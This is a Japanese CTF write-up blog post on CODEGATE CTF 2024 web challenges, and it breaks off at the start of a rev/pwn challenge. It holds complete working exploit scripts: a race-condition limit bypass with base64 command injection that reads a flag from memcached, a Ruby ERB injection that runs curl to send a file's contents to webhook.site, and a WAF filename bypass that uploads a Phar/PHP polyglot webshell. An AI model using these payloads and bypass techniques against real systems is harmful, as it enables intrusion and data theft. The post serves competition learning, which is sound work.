st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

CODEGATE CTF 2024 Preliminary writeup

6/1 - 6/2という日程で開催された。BunkyoWesternsで参加して6位。今回は誰でもチームで参加可能なGeneral部門と、18歳以下の個人が参加可能なJunior部門*1*2に分かれていた。我々はもちろんGeneral部門で、こちらは上から19チームが決勝大会に進めるということだった。したがって、きっと予選を通過できている。一昨年はzer0ptsは決勝へ参加できたものの、昨年は数十点の差で決勝進出を逃してしまったので、今回は参加できそう*3で嬉しい。

(2024-06-04追記)CODEGATE CTFの公式ページに最終的なランキングが掲示されており、BunkyoWesternsも無事ファイナリストとなるチームのリストに含まれていた。どのような事情か、我々より上位だった1チームがランキングから姿を消しており、繰り上がって予選5位となっている。


[Web 250] Chatting Service (82 solves)

Chat service soft-launch. I feel there might be some issues with the logic.
Could you take a look?

(URL)

添付ファイル: for_user.zip

問題の概要

チャットサービスらしい。ディレクトリ構成や docker-compose.yml を見るとFlask, Go, Memcache, MySQLと色々な技術が使われていることがわかる。docker-compose.yml ではFlaskは internal、Goは external ということで、それぞれネットワークの内部と外部からのアクセスを想定している…ようだが、本物の問題サーバを含め internal と言いつつも 5000/tcp で外部から接続できた。もっとも、"Debug Mode" と表示されるだけで何もできないように思えるが。

フラグはどうすれば手に入れられるか。flag で検索してみると、internal のソースコード中に見つかった。memcachedにフラグを載せているようだ。なお、このほかにmemcachedから flag を取得している処理はない。RCEなりSSRFなりに持ち込めという話らしい。

client = Client(memcache_ip)
print(f'memcache client = {client}')
# …
try:       
    client.set("flag","codegate2024{##CENSORED##}")
except Exception as e:
    print(f'memcache ==>  {e}')

external を見ていく。ソースコードが非常に読みづらいので、重要な部分のみを抜き出して紹介する。何やら /api/hidden という不思議なAPIがあり(と言いつつも実質的にここでは何も起こらないものだが…)、これを利用するには hidden_flag というフラグが立っている必要があるらしい。

   r.HandleFunc("/api/hidden", func(w http.ResponseWriter, r *http.Request) {
        HiddenHandler(w, r, db)
    }).Schemes("http")
func HiddenHandler(w http.ResponseWriter, r *http.Request, db *sql.DB) {
    var flag string
    fmt.Println("[HiddenHandler] Entrance")

    username, _ := r.Cookie("UserName")

    Userdata := structure.User{
        Id: username.Value,
    }
    fmt.Printf("Userdata %v\n", Userdata)
    flag = reg.Checker(db, Userdata, 7)

    if flag == "0" {
        http.Error(w, "ACCESS DENIED", http.StatusInternalServerError)
    }

    if flag == "1" {
        if r.Method == "GET" {
            page := HiddenPage{
                Message: "Welcome",
            }
            hiddenFullPath := Strcat(hiddenTemplate)
            hiddenPageTemplate, err := template.ParseFiles(hiddenFullPath)
            if err != nil {
                http.Error(w, "Internal Server Error", http.StatusInternalServerError)
                return
            }
            err = hiddenPageTemplate.Execute(w, page)
            if err != nil {
                http.Error(w, "Internal Server Error", http.StatusInternalServerError)
                return
            }

        } else if r.Method == "POST" {
            err := r.ParseForm()
            if err != nil {
                http.Error(w, "Bad Request", http.StatusBadRequest)
                return
            }
            username := r.FormValue("username")
            session := r.FormValue("session")
            command := r.FormValue("command")

            fmt.Printf("[Hidden] username : %v\n", username)
            fmt.Printf("[Hidden] session : %v\n", session)
            fmt.Printf("[Hidden] command : %v\n", command)
            return
        }
    }
}
func Checker(db *sql.DB, data structure.User, choice int) string {
    switch choice {
// …
    case 7:
        var hidden_flag string
        err := db.QueryRow("SELECT hidden_open FROM register WHERE username=$1", data.Id).Scan(&hidden_flag)
        if err != nil {
            fmt.Printf("Checker Case 7 err ==> %v\n", err)
        }
        fmt.Printf("hidden_flag : %v\n", hidden_flag)

        return hidden_flag
    }
    return "NULL"
}

hidden_flag が更新される箇所を探すと、/api/validate というAPIが見つかる。チャットルームの作成時に、作成可能かどうか状況をチェックするものだ。11個以上のチャットルームを作成するとこのフラグを立ててくれるらしいが、チャットルームが10個ある時点でさらに作成しようとするとそこで弾かれるようになっている。

   r.HandleFunc("/api/validate", func(w http.ResponseWriter, r *http.Request) {
        ValidateHandler(w, r, db)
    }).Schemes("http")
func ValidateHandler(w http.ResponseWriter, r *http.Request, db *sql.DB) {
    var count int
    fmt.Println("[ValidateHandler] Entrance")

    if r.Method != http.MethodPost {
        http.Error(w, "Method Not Allowed", http.StatusMethodNotAllowed)
        return
    }

    body, err := ioutil.ReadAll(r.Body)
    if err != nil {
        http.Error(w, "Failed to read request body", http.StatusInternalServerError)
        fmt.Printf("Error reading request body: %v\n", err)
        return
    }
    data := structure.AddRoomInfo{
        Username:      "NULL",
        ChatRoomIndex: 0,
    }

    err = json.Unmarshal(body, &data)

    if err != nil {
        http.Error(w, "Failed to unmarshal request body", http.StatusInternalServerError)
        fmt.Printf("Error unmarshaling request body: %v\n", err)
        return
    }

    data2 := structure.User{
        Id: data.Username,
    }

    count = reg.IsValidRoomManage(db, data)

    var response structure.CheckRoomCount

    response.ChatRoomCount = count

    if count >= 0 && count <= 9 {
        reg.Hidden(db, data2, 0)
        response.ReturnVal = 1
        w.WriteHeader(http.StatusOK)
    }
    if count == 10 {
        reg.Hidden(db, data2, 0)
        response.ReturnVal = -1
        w.WriteHeader(http.StatusOK)
    }
    if count > 10 {
        reg.Hidden(db, data2, 1)
        response.ReturnVal = 2
        w.WriteHeader(http.StatusOK)
    }

    jsonResponse, err := json.Marshal(response)
    if err != nil {
        http.Error(w, "Failed to marshal response", http.StatusInternalServerError)
        fmt.Printf("Error marshaling response: %v\n", err)
        return
    }

    w.Header().Set("Content-Type", "application/json")
    w.Write(jsonResponse)
}

チャットルームの個数制限をバイパスする

では、どうやって /api/validate の個数制限をバイパスするか。チャットルームの個数チェックから実際の追加までにラグがあることを利用して、Race Condition(TOCTOU)を狙おう。シェルで次のような関数を用意する。この後に f & f & f & f & f & のようなコマンドを何度か実行する。この後に /api/validate を叩くと、hidden_flag が立った*4

f() {
curl 'http://localhost:7777/api/addRoom' \
  -H 'Connection: keep-alive' \
  -H 'Content-Type: application/json' \
  -H 'Cookie: UserName=hogehogehoge; Session=3010f02b-8526-4f37-bdf4-a4553125aaf1' \
  --data-raw '{"username":"hogehogehoge","chatRoomIndex":0,"isReloadFlag":0}'; 
}

フィルターをバイパスしつつOSコマンドを叩く

これで /api/hidden にアクセスできるようになった、GETでは次のようなフォームが表示される。

このフォームを送信した際のクライアント側の処理は次の通り。5000/tcp、つまり internal のAPIを叩いている。Google ChromeのDevToolsでNetworkタブを監視しつつもう一度やってみると、確かにAPIの呼び出しに成功しているように見える。これで internal の機能を利用できるらしい。

            $('#debugForm').submit(function(event) {
                event.preventDefault();

                const username = $('#username').val();
                const session = $('#session').val();
                const command = $('#command').val();

                $.ajax({
                    url: 'http://127.0.0.1:5000/login',
                    method: 'POST',
                    data: {
                        username: username,
                        session: session,
                        command: command
                    },
                    success: function(response) {
                        $('.result').css('color', '#ffffff'); 
                        $('.result').text(response);
                    },
                    error: function(xhr, status, error) {
                        console.error('Request failed. Status:', xhr.status);
                    }
                });
            });

internal 側のソースコードを呼んでいく。先ほど呼ばれていた /login のコードは次の通り。ユーザから投げられたユーザ名、セッションID、コマンドをそのまま isValidateSession に投げているらしい。

@app.route("/login", methods=["GET", "POST"])
def debugLoginPage():
    response = make_response()
    response.headers.add("Access-Control-Allow-Origin", "*")
    response.headers.add('Access-Control-Allow-Headers', "*")
    response.headers.add('Access-Control-Allow-Methods', "*")
    if request.method == "GET":
        return "CANNOT LOGIN YOURSELF"
    if request.method == "POST":
        try:
            web_username = request.form.get('username') 
            web_session = request.form.get('session')
            command = request.form.get('command')
            response_result = isValidateSession(web_username,web_session, command)
        except Exception as e:
            print(e)
        return render_template('main.html', response_result=response_result)

isValidateSession は次の通り。ちゃんと対応するユーザ名とセッションが存在しているかチェックしているらしい。そして、さらに与えられたコマンドを internalDaemonService に投げている。

def isValidateSession(username, session, command):
    cur = conn.cursor()
    query = f"SELECT session, session_enable FROM register where username='{username}' and session='{session}'"
    print(f'query : {query}')
    
    if username == None or session == None:
        return "NONE"

    if "'" in username or "'" in session:
        return "DO NOT TRY SQL INJECTION"
    
    try:
        cur.execute(query)
        result = cur.fetchone()
        
        if result:
            internal_session, session_enable = result
            if internal_session == session:
                return internalDaemonService(command)
            
        else:
            return "Please recheck username or Session"
        
    except Exception as e:
        print(f'exception: {e}')
    
    return "NONE"

internalDaemonService は次の通り。コマンドの admin:// 以降の文字列をOSコマンドとして裏で実行し、その結果を返してくれるらしい。しかし、bash やら open やら便利なコマンド等を防ごうとしている。

def internalDaemonService(command):
    if command.startswith("admin://"):
        msg = AdminMessage(message=f'{command}')
        try:
            mysql_session.add(msg)
            mysql_session.commit()
        except Exception as e:
            print(e)
        finally:
            mysql_session.close()
        
        commandline = "cd /tmp &&"
        tmp = command.split("admin://")[1]
        commandline += tmp
        client.set(f'msg', f'{tmp}')

        filtered = ["memccat", "memcstat", "memcdump", "nc", "bash", "/bin", "/sh", "export", "env", "socket", "connect", "open", "set", "membash", "delete", "flush_all", "stats", "which" , "python", "perl", "rm", "mkdir", ".", "/"]

        for _filter in filtered:
            if _filter in tmp.lower():
                print(f'filter data : {_filter}')
                return "FILTER MESSAGE DETECTED"
        
        try:
            response = send_command(commandline)
            return response
        except Exception as e:
            return str(e)
    
    else:
        msg = Message(message=f'{command}')
        try:
            mysql_session.add(msg)
            mysql_session.commit()
        except Exception as e:
            print(e)
        finally:
            mysql_session.close()
        return f"The Message is already saved on DB : {command}"

フィルターのバイパスは容易だ。echo '(Base64エンコードしたOSコマンド)' | base64 -d | s${HOGE}h のように、実行したいコマンドを一旦エンコードし、またデコードして流し込んでやればよい。今回はmemcachedにフラグが乗っているので、11211/tcp に接続してmemcachedのプロトコルを喋ってくれるPythonスクリプトを仕込めばよい。

ここまでの過程をまとめたPythonスクリプトは次の通り。

import asyncio
import base64
import uuid
import httpx

#HOST = 'localhost'
HOST = '(省略)'
EXTERNAL = f'http://{HOST}:7777'
INTERNAL = f'http://{HOST}:5000'

u = str(uuid.uuid4())
p = str(uuid.uuid4())

print(f'{u=}, {p=}')

async def add_room(aclient):
    r = await aclient.post(f'{EXTERNAL}/api/addRoom', json={
        'username': u,
        'chatRoomIndex': 0,
        'isReloadFlag': 0
    })
    return r.text

async def go():
    with httpx.Client(base_url=EXTERNAL) as client:
        # 1. sign up
        client.post('/signup', data={
            'username': u,
            'password': p
        })
        client.post('/', data={
            'username': u,
            'password': p
        })

        print(f'{client.cookies}')

        # 2. make a lot of rooms to access hidden api
        aclient = httpx.AsyncClient()
        aclient.cookies = client.cookies

        tasks = []
        for _ in range(20):
            tasks.append(asyncio.ensure_future(add_room(aclient)))
        await asyncio.gather(*tasks)

        # 3. call /api/validate to confirm we could call hidden API
        client.post('/api/validate', json={
            'username': u
        })

        session = client.cookies['Session']
    print(f'{session=}')

    # 4. call internal API
    cmd = '''python3 -c 'import socket; s = socket.create_connection(("localhost", 11211)); s.send(b"get flag\\n"); print(s.recv(1024))' > /tmp/poyoyoyo;'''
    cmd += 'cat /tmp/poyoyoyo'

    cmd = base64.b64encode(cmd.encode()).decode()
    cmd = 'echo ' + cmd + ' | base64 -d | s${HOGE}h'
    print(cmd)

    with httpx.Client(base_url=INTERNAL) as client:
        r = client.post('/login', data={
            'username': u,
            'session': session,
            'command': f'admin://{cmd}'
        })
        print(r.text)

async def main():
    await go()

asyncio.run(main())

実行するとフラグが得られた。

codegate2024{Important_DATA_DO_NOT_SAVE_IN_MEMCACHE}

[Web 250] master_of_calculator (71 solves)

traditional calculator challenge

(URL)

添付ファイル: for_user.zip

Ruby on Railsで作られたWebアプリのソースコードが与えられている。いい感じにお金の計算をしてくれるアプリのようだ。

Dockerfile を確認すると、ランダムなファイル名で保存されているフラグを読み取ればよいらしいとわかる。RCEに持ち込む必要があるだろう。

RUN mv flag.txt "flag-$(head -c 16 /dev/urandom | od -An -tx1 | tr -d ' \n')";

さて、重要な箇所は server/app/controllers/home_controller.rb で実装されている。このコードは次の通りだが、RubyのテンプレートであるERBにユーザ入力を埋め込んで計算するというかなりワイルドな方法を採っている。system, eval, ', [ といったヤバそうな文字列や記号は弾いているらしい。そもそも数値であるか検証するか、強引に変換すればよいのではないか。

class HomeController < ApplicationController
  skip_forgery_protection :only => [:calculate_fee]
  FILTER = ["system", "eval", "exec", "Dir", "File", "IO", "require", "fork", "spawn", "syscall", '"', "'", "(", ")", "[", "]","{","}", "`", "%","<",">"]

  def index
    render :home
  end

  def calculate_fee
      entry_price = params[:user_entry_price]
      exit_price = params[:user_exit_price]
      leverage = params[:user_leverage].to_f
      quantity = params[:user_quantity]

      if [entry_price, exit_price, leverage, quantity].map(&:to_s).any? { |input| FILTER.any? { |word| input.include?(word) } }
        response = "filtered"
      else
          response = ERB.new(<<~FORMULA
          <% pnl = ((#{exit_price} - #{entry_price}) * #{quantity} * #{leverage}).round(3) %>
          <% roi = (((#{exit_price} - #{entry_price}) * 100.0 / #{entry_price} * #{leverage})).round(3) %>
          <% initial_margin = ((#{entry_price} * #{quantity}) / #{leverage}).round(3) %>
          <%= pnl %>
          <%= roi %>%
          <%= initial_margin %>
          FORMULA
          ).result(binding)
          response = response.sub("\n\n\n","")
          pnl, roi, margin = response.split("\n")
      end
  
      render json: { response: response, pnl: pnl, roi: roi, margin: margin }

    end
end

これはRubyだ*5。いくらでもバイパスできそうに思える。まずクォートなしで文字列を作る方法を考える。0x31.chr+0x32.chr のように Integer#chr を使って組み立てていくこともできるし、それでは長くなりすぎるので :ev.to_s+:al.to_s のようにシンボルから組み立てることもできる。

OSコマンドを実行するのが色々楽だろうが、Kernel.#system にはどうやってアクセスすればよいだろうか。Object#method を使って Kernel.method(:eval) 相当のことをすればよい。なお、Rubyではカッコがなくとも Kernel.method :eval のようにしてメソッドを呼び出せる。さらにこれを Method#call で呼び出せばよい。

できあがったコードは次の通り。

import re
import httpx

code = 'system "curl https://webhook.site/… -d hoge=`cat /rails/f*`"'
code = '.chr+'.join(hex(ord(c)) for c in code) + '.chr'
code = f'a=:ev.to_s+:al.to_s;b=Kernel.method a;c={code};b.call c;4'
print(code)

with httpx.Client(base_url='http://(省略)/') as client:
    r = client.get('/')
    token = re.findall(r'name="authenticity_token" value="([^"]+)', r.text)[0]
    r = client.post('/calculate_fee', data={
        'user_leverage': 1,
        'user_entry_price': 30000,
        'user_exit_price': code,
        'user_quantity': 1
    })
    print(r.text)

実行するとフラグが得られた。

codegate2024{sup3r_dup3r_ruby_trick_m4st3r}

[Web 250] Cha’s Wall (38 solves)

WAFFFFF

(URL)

添付ファイル: for_user.zip

問題の概要

与えられたURLにアクセスすると、次のようなファイルのアップロードフォームが表示された。

フォームのアップロード先が index.php であるのだけれども、docker-compose.yml 等を見ると、前段にGolangで書かれたWAFが挟まっていることがわかる。WAFを挟んでこのWebアプリにアクセスしているらしい。

WAFの主要な処理は次の通り。multipart/form-data に特化しており、ファイルの名前や内容をチェックしているようだ。まずファイル名に関しては phpphar のような拡張子でないか、ファイルの内容に関しては <?php が含まれていないかを確認している。問題なければ、ユーザから与えられたリクエストボディをそのままバックエンドに流す。さて、後者のチェックは <?= を使ってバイパスできるはずだけれども、前者はどうすればよいだろうか。

   if r.Method == "POST" {
      mr, err := r.MultipartReader()
      if err != nil {
          r.Body.Close()
          fmt.Println("Http request is corrupted.")
          return
      } else {
          var b bytes.Buffer
          w := multipart.NewWriter(&b)
          reuseBody := true
  
          for {
              part, err := mr.NextPart()
              if err == io.EOF {
                  break
              }
              if err != nil {
                  r.Body.Close()
                  wr.Write([]byte("something wrong :("))
                  return
              }
              if part.FileName() != "" {
                  re := regexp.MustCompile(`[^a-zA-Z0-9\.]+`)
                  cleanFilename := re.ReplaceAllString(part.FileName(), "")
                  match, _ := regexp.MatchString(`\.(php|php2|php3|php4|php5|php6|php7|phps|pht|phtm|phtml|pgif|shtml|htaccess|inc|hphp|ctp|module|phar)$`, cleanFilename)
                  if match {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
                  partBuffer, _ := ioutil.ReadAll(part);
                  if strings.Contains(string(partBuffer), "<?php") {
                      r.Body.Close()
                      wr.Write([]byte("WAF XD"))
                      return
                  }
              } else {
                  fieldName := part.FormName()
                  fieldValue, _ := ioutil.ReadAll(part)
                  _ = w.WriteField(fieldName, string(fieldValue))
                  reuseBody = false
              }
          }
  
          if !reuseBody {
              w.Close()
              rdr2 = ioutil.NopCloser(&b)
              r.Header.Set("Content-Type", w.FormDataContentType())
          }
      }
  }

ファイル名のチェックをバイパスする

Golangの実装PHPの実装に差異があれば、ファイル名のチェックをバイパスできるのではないかと考えた。つまり、Golang側では無害なファイル名が採用されるけれども、PHP側では有害な a.php のようなファイル名が採用されるような Content-Disposition ヘッダを作れないだろうか。

そういえば、以前同じ韓国のCTFでmultipartについて詳しく調べたことがあった。filename のほかにも filename* を使ってファイルが指定できる。これを両方とも指定した場合にはどうなるだろうか。GolangとPHPのそれぞれで採用されたファイル名を出力されるよう改造し、その状態でBurp Suiteを使い filenamefilename* の両方を持ったリクエストを送ってみる。

結果は大当たり。Golang側では filename* で指定したファイル名が採用され、PHP側では filename で指定したファイル名が採用された。

読み込むとFatal errorを起こすPharを作る

今さらながら、ファイルのアップロード先である index.php を確認する。アップロード先のディレクトリはドキュメントルート下にあるし、ファイル名もオリジナルのものが採用される。ファイルはアップロード後すぐに unlink で消されてしまうけれども、その前に /uploads/(サンドボックスのディレクトリ)/a.php のようなパスにアクセスすればよいのではないかと考える。

phpinfo を活用してLFIからRCEに持ち込む手法のように、ファイルのアップロードと、PHPコードのアップロード先であるパスへのアクセスとを並行して実行し続けてRace Conditionを狙う…が、ローカルですら一切成功しない。もしかして、GolangのWAFは一度にひとつのリクエストしか処理できないのだろうか。

<?php
    require_once("./config.php");
    session_start();
    
    if (!isset($_SESSION['dir'])) {
        $_SESSION['dir'] = random_bytes(4);
    }

    $SANDBOX = getcwd() . "/uploads/" . md5("supers@f3salt!!!!@#$" . $_SESSION['dir']);
    if (!file_exists($SANDBOX)) {
        mkdir($SANDBOX);
    }

    echo "Here is your current directory : " . $SANDBOX . "<br>";

    if (is_uploaded_file($_FILES['file']['tmp_name'])) {
        $filename = basename($_FILES['file']['name']);
        if (move_uploaded_file( $_FILES['file']['tmp_name'], "$SANDBOX/" . $filename)) {
            echo "<script>alert('File upload success!');</script>";
        }
    }
    if (isset($_GET['path'])) {
        if (file_exists($_GET['path'])) {
            echo "file exists<br><code>";
            if ($_SESSION['admin'] == 1 && $_GET['passcode'] === SECRET_CODE) {
                include($_GET['path']);
            }
            echo "</code>";
        } else {
            echo "file doesn't exist";
        }
    }
    if (isset($filename)) {
        unlink("$SANDBOX/" . $filename);
    }
?>

<form enctype='multipart/form-data' action='index.php' method='post'>
    <input type='file' name='file'>
    <input type="submit" value="upload"></p>
</form>

ではどうするか。ファイルのアップロード後、unlink までにfatal errorを起こさせるか、激重な処理をさせてタイムアウトさせることで、unlink に到達できないようにすればよいのではないか。この範囲でユーザ入力が関わってきそうなところといえば file_exists($_GET['path']) だ。今回使われているPHPのバージョンは Dockerfile から7.4.30とわかっているので、細工したPharアーカイブを作り、phar://hoge.phar/fuga.txt のようなパスを与えることで、Insecure Deserializationに持ち込めるはずだ。デシリアライズで作られるとfatal errorが発生するようなオブジェクトはないだろうか。

次のようなPythonスクリプトを用意して、ローカルで動かしている問題のコンテナで実行する。これで、DateTime というクラスがデシリアライズされるとfatal errorが発生するとわかった*6

import hashlib
import os
import os.path
import subprocess

TEMPLATE = '''<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.svg', '<?= passthru("/readflag"); ?>');
$phar->setStub('<?php __HALT_COMPILER(); ?>');

class TestObject {}
$object = new TestObject;
$phar->setMetadata($object);
$phar->stopBuffering();'''
def gen_phar(klass):
    if os.path.exists('test.phar'):
        os.remove('test.phar')

    php = TEMPLATE.replace('TestObject', 'A' * len(klass))
    with open('a.php', 'w') as f:
        f.write(php)
    subprocess.check_output('php -d phar.readonly=0 a.php', shell=True, stderr=subprocess.STDOUT)

    with open('test.phar', 'rb') as f:
        s = f.read()
    s = s.replace(b'A' * len(klass), klass.encode())

    data = s[:-28]
    final = s[-8:]
    s = data + hashlib.sha1(data).digest() + final 

    with open('test.phar', 'wb') as f:
        f.write(s)

classes = ["stdClass","Exception","ErrorException","Error","CompileError","ParseError","TypeError","ArgumentCountError","ArithmeticError","DivisionByZeroError","Closure","Generator","ClosedGeneratorException","WeakReference","DateTime","DateTimeImmutable","DateTimeZone","DateInterval","DatePeriod","LibXMLError","SQLite3","SQLite3Stmt","SQLite3Result","CURLFile","DOMException","DOMStringList","DOMNameList","DOMImplementationList","DOMImplementationSource","DOMImplementation","DOMNode","DOMNameSpaceNode","DOMDocumentFragment","DOMDocument","DOMNodeList","DOMNamedNodeMap","DOMCharacterData","DOMAttr","DOMElement","DOMText","DOMComment","DOMTypeinfo","DOMUserDataHandler","DOMDomError","DOMErrorHandler","DOMLocator","DOMConfiguration","DOMCdataSection","DOMDocumentType","DOMNotation","DOMEntity","DOMEntityReference","DOMProcessingInstruction","DOMStringExtend","DOMXPath","finfo","HashContext","JsonException","LogicException","BadFunctionCallException","BadMethodCallException","DomainException","InvalidArgumentException","LengthException","OutOfRangeException","RuntimeException","OutOfBoundsException","OverflowException","RangeException","UnderflowException","UnexpectedValueException","RecursiveIteratorIterator","IteratorIterator","FilterIterator","RecursiveFilterIterator","CallbackFilterIterator","RecursiveCallbackFilterIterator","ParentIterator","LimitIterator","CachingIterator","RecursiveCachingIterator","NoRewindIterator","AppendIterator","InfiniteIterator","RegexIterator","RecursiveRegexIterator","EmptyIterator","RecursiveTreeIterator","ArrayObject","ArrayIterator","RecursiveArrayIterator","SplFileInfo","DirectoryIterator","FilesystemIterator","RecursiveDirectoryIterator","GlobIterator","SplFileObject","SplTempFileObject","SplDoublyLinkedList","SplQueue","SplStack","SplHeap","SplMinHeap","SplMaxHeap","SplPriorityQueue","SplFixedArray","SplObjectStorage","MultipleIterator","PDOException","PDO","PDOStatement","PDORow","SessionHandler","ReflectionException","Reflection","ReflectionFunctionAbstract","ReflectionFunction","ReflectionGenerator","ReflectionParameter","ReflectionType","ReflectionNamedType","ReflectionMethod","ReflectionClass","ReflectionObject","ReflectionProperty","ReflectionClassConstant","ReflectionExtension","ReflectionZendExtension","ReflectionReference","__PHP_Incomplete_Class","php_user_filter","Directory","AssertionError","SimpleXMLElement","SimpleXMLIterator","PharException","Phar","PharData","PharFileInfo","XMLReader","XMLWriter","SodiumException"]
for klass in classes:
    gen_phar(klass)
    try:
        res = subprocess.check_output('php b.php', shell=True, stderr=subprocess.STDOUT) # <?php file_exists('phar://test.phar/test.svg');
    except Exception as e:
        print(klass, e)
        break

PharとPHPのpolyglotを作る。<?php が含まれないよう、PHPコード部分は <?= を使っているし、Pharに必要であるスタブ部分は、Pharとして認識されるギリギリを狙う。

import hashlib
import os
import os.path
import subprocess

TEMPLATE = '''<?php
$phar = new Phar('test.phar');
$phar->startBuffering();
$phar->addFromString('test.svg', '<?= passthru("/readflag"); ?>');
$phar->setStub('__HALT_COMPILER(); ?>');

class TestObject {}
$object = new TestObject;
$phar->setMetadata($object);
$phar->stopBuffering();'''
def gen_phar(klass):
    if os.path.exists('test.phar'):
        os.remove('test.phar')

    php = TEMPLATE.replace('TestObject', 'A' * len(klass))
    with open('a.php', 'w') as f:
        f.write(php)
    subprocess.check_output('php -d phar.readonly=0 a.php', shell=True, stderr=subprocess.STDOUT)

    with open('test.phar', 'rb') as f:
        s = f.read()
    s = s.replace(b'A' * len(klass), klass.encode())

    data = s[:-28]
    final = s[-8:]
    s = data + hashlib.sha1(data).digest() + final 

    with open('test.phar', 'wb') as f:
        f.write(s)

gen_phar('DateTime')

できあがったPharを test.php にリネームする。Pharとして開くと DateTime のデシリアライズによってfatal errorが発生するし、PHPコードとして実行されるとフラグが出力されるようなファイルができた。

root@bf8987367479:/tmp# cat b.php
<?php file_exists('phar://test.php/test.svg');
root@bf8987367479:/tmp# php b.php
PHP Fatal error:  Uncaught Error: Invalid serialization data for DateTime object in /tmp/b.php:1
Stack trace:
#0 [internal function]: DateTime->__wakeup()
#1 /tmp/b.php(1): file_exists()
#2 {main}
  thrown in /tmp/b.php on line 1
root@bf8987367479:/tmp# php test.php | xxd
00000000: 5f5f 4841 4c54 5f43 4f4d 5049 4c45 5228  __HALT_COMPILER(
00000010: 293b 203f 3e0d 0a49 0000 0001 0000 0011  ); ?>..I........
00000020: 0000 0001 0000 0000 0013 0000 004f 3a38  .............O:8
00000030: 3a22 4461 7465 5469 6d65 223a 303a 7b7d  :"DateTime":0:{}
00000040: 0800 0000 7465 7374 2e73 7667 1d00 0000  ....test.svg....
00000050: 00fd 5a66 1d00 0000 8122 84dc a401 0000  ..Zf....."......
00000060: 0000 0000 636f 6465 6761 7465 3230 3234  ....codegate2024
00000070: 7b74 6573 7466 6c61 677d af6a 9cd3 fa90  {testflag}.j....
00000080: f75a bc8f c911 1985 f21e ea5f 6010 0200  .Z........._`...
00000090: 0000 4742 4d42                           ..GBMB

すべてを組み合わせる。次のようなexploitができた。

import asyncio
import httpx
import time
import re
import socket
import uuid

#HOST = 'localhost'
HOST = '(省略)'

TEMPLATE = b'''POST /index.php?path=phar://PATH/test.svg&passcode=hoge HTTP/1.1
Host: localhost:8000
Content-Length: LENGTH
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykLiyumFqYdcSN9qU
Cookie: PHPSESSID=KOKONI_SESSID
Connection: close

BODY'''.replace(b'\n', b'\r\n')

BODY_TEMPLATE = b'''------WebKitFormBoundarykLiyumFqYdcSN9qU
Content-Disposition: form-data; name="file"; filename*=utf-8''hoge; filename="KOKONI_FILENAME"

PAYLOAD
------WebKitFormBoundarykLiyumFqYdcSN9qU--'''

def make_payload(sessid, payload, path, filename):
    body = BODY_TEMPLATE.replace(b'KOKONI_FILENAME', filename.encode())
    body = (body + b'\n').replace(b'\n', b'\r\n')
    body = body.replace(b'PAYLOAD', payload)
    l = len(body)

    payload = TEMPLATE.replace(b'KOKONI_SESSID', sessid.encode()).replace(b'PATH', path.encode()).replace(b'LENGTH', str(l).encode()).replace(b'BODY', body)

    print(payload)

    return payload

async def upload(sessid, payload, path, filename='a.php'):
    s = socket.create_connection((HOST, 8000))
    s.send(make_payload(sessid, payload, path, filename))
    r = s.recv(0x10000)
    print(r)
    s.close()

async def rce(path):
    s = socket.create_connection((HOST, 8000))
    req = f'GET {path} HTTP/1.1\r\nHost: localhost:8000\r\n\r\n'
    s.send(req.encode())
    r = s.recv(0x10000)
    s.close()

    if b'404' not in r:
        print(456, r)
        return True

async def main():
    r = httpx.get(f'http://{HOST}:8000')
    sessid = r.cookies['PHPSESSID']

    d = re.findall(r'Here is your current directory : /var/www/html([^<]+)', r.text)[0]

    with open('test.phar', 'rb') as f:
        payload = f.read()

    await upload(sessid, payload, f'/var/www/html{d}/a.php', f'a.php')
    await rce(f'{d}/a.php')

asyncio.run(main())

実行するとフラグが得られた。

$ python3 s.py 
…
456 b'HTTP/1.1 200 OK\r\nContent-Length: 206\r\nContent-Type: text/html; charset=UTF-8\r\nDate: Sat, 01 Jun 2024 11:00:13 GMT\r\nServer: Apache/2.4.54 (Debian)\r\n\r\n__HALT_COMPILER(); ?>\r\nI\x00\x00\x00\x01\x00\x00\x00\x11\x00\x00\x00\x01\x00\x00\x00\x00\x00\x13\x00\x00\x00O:8:"DateTime":0:{}\x08\x00\x00\x00test.svg\x1d\x00\x00\x00\x00\xfdZf\x1d\x00\x00\x00\x81"\x84\xdc\xa4\x01\x00\x00\x00\x00\x00\x00codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}\xafj\x9c\xd3\xfa\x90\xf7Z\xbc\x8f\xc9\x11\x19\x85\xf2\x1e\xea_`\x10\x02\x00\x00\x00GBMB'
codegate2024{caaff9a2603c3225626f1569a0d371d7d2c354177f48bd303aa9a5297f40d55b}

[Rev/Pwn 250] game$ay (31 solves)

Unleash your imagination within your little game console.

(問題サーバへの接続情報)

添付ファイル: for_user.zip

問題の概要

独自言語のレキサ、パーサ、インタプリタが与えられている。しかしながら、残念ながらその独自言語で書かれたサンプルプログラムはないし、デフォルトで実行されるプログラムはあるのだけれども、以下のようにASTで格納されている。このASTから元のソースコードを復元してリバースエンジニアリングするというのがRev要素だろうけれども、Pwn要素はなんだろうか。

flag で検索してみると、まず docker-compose.yml から /src/flag に存在しているとわかる。

    volumes:
      - ./flag:/src/flag

わざわざこれを手に入れるためにRCEへ持ち込む必要はないようで、ASTから実行していくインタプリタ中の処理に次のようなコードがあった。これは関数呼び出し中の処理で、flag というビルトイン関数を呼び出すとフラグが得られるらしい。ただし、machine_id != 0 であれば弾くという処理もあるが、これはどういうことだろうか。

            elif node.name.value == "flag":
                import pathlib
                if machine_id != 0:
                    return WValue('bytes', b"Permission denied!")
                
                return WValue('bytes',pathlib.Path("./flag").read_bytes())

問題サーバに接続すると main.py がエントリーポイントとなる。ここでは次の通り all, add, exit, run, del という5つのコマンドが実行できる。

$ python3 main.py 

           (`-')  _ <-. (`-')   (`-')  _  ,-.    (`-')  _
    .->    (OO ).-/    \(OO )_  ( OO).-/.-|-|-.  (OO ).-/      .->
 ,---(`-') / ,---.  ,--./  ,-.)(,------.| | |_|  / ,---.   ,--.'  ,-.
'  .-(OO ) | \ /`.\ |   `.'   | |  .---'`-|.| '. | \ /`.\ (`-')'.'  /
|  | .-, \ '-'|_.' ||  |'.'|  |(|  '--. .-| |  | '-'|_.' |(OO \    /
|  | '.(_/(|  .-.  ||  |   |  | |  .--' | |-|  /(|  .-.  | |  /   /)
|  '-'  |  |  | |  ||  |   |  | |  `---. `|-|''  |  | |  | `-/   /`
